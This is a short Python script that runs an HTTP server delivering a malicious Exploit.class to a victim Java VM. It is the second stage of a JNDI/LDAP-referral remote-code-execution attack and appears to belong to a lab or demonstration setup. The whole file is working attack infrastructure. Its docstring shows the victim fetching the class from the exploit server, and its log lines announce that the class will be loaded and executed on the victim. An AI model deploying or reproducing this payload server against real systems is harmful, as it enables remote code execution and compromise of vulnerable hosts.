#!/usr/bin/env python3
"""
HTTP server that delivers the malicious Exploit.class to the victim JVM.

The victim's JVM (after receiving the LDAP referral) sends:
  GET /Exploit.class HTTP/1.1
  Host: exploit-server:8888

This handler logs every request so the attack progression is visible.
"""

import http.server
import socketserver
import logging
import os

logging.basicConfig(
    level=logging.INFO,
    format="[HTTP  %(asctime)s] %(message)s",
    datefmt="%H:%M:%S",
)
log = logging.getLogger(__name__)

PORT = int(os.environ.get("HTTP_PORT", "8888"))
SERVE_DIR = os.path.dirname(os.path.abspath(__file__))


class LoggingHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=SERVE_DIR, **kwargs)

    def log_message(self, fmt, *args):
        log.info(f"{self.address_string()} — {fmt % args}")

    def do_GET(self):
        if self.path.endswith(".class"):
            log.info(f"*** Victim JVM fetching: {self.path}")
            log.info("*** Class will be loaded and executed in the victim JVM!")
        super().do_GET()


def main():
    os.chdir(SERVE_DIR)
    with socketserver.TCPServer(("", PORT), LoggingHandler) as httpd:
        httpd.socket.setsockopt(1, 2, 1)  # SO_REUSEADDR
        log.info(f"HTTP server listening on 0.0.0.0:{PORT}")
        log.info(f"Serving files from: {SERVE_DIR}")
        httpd.serve_forever()


if __name__ == "__main__":
    main()
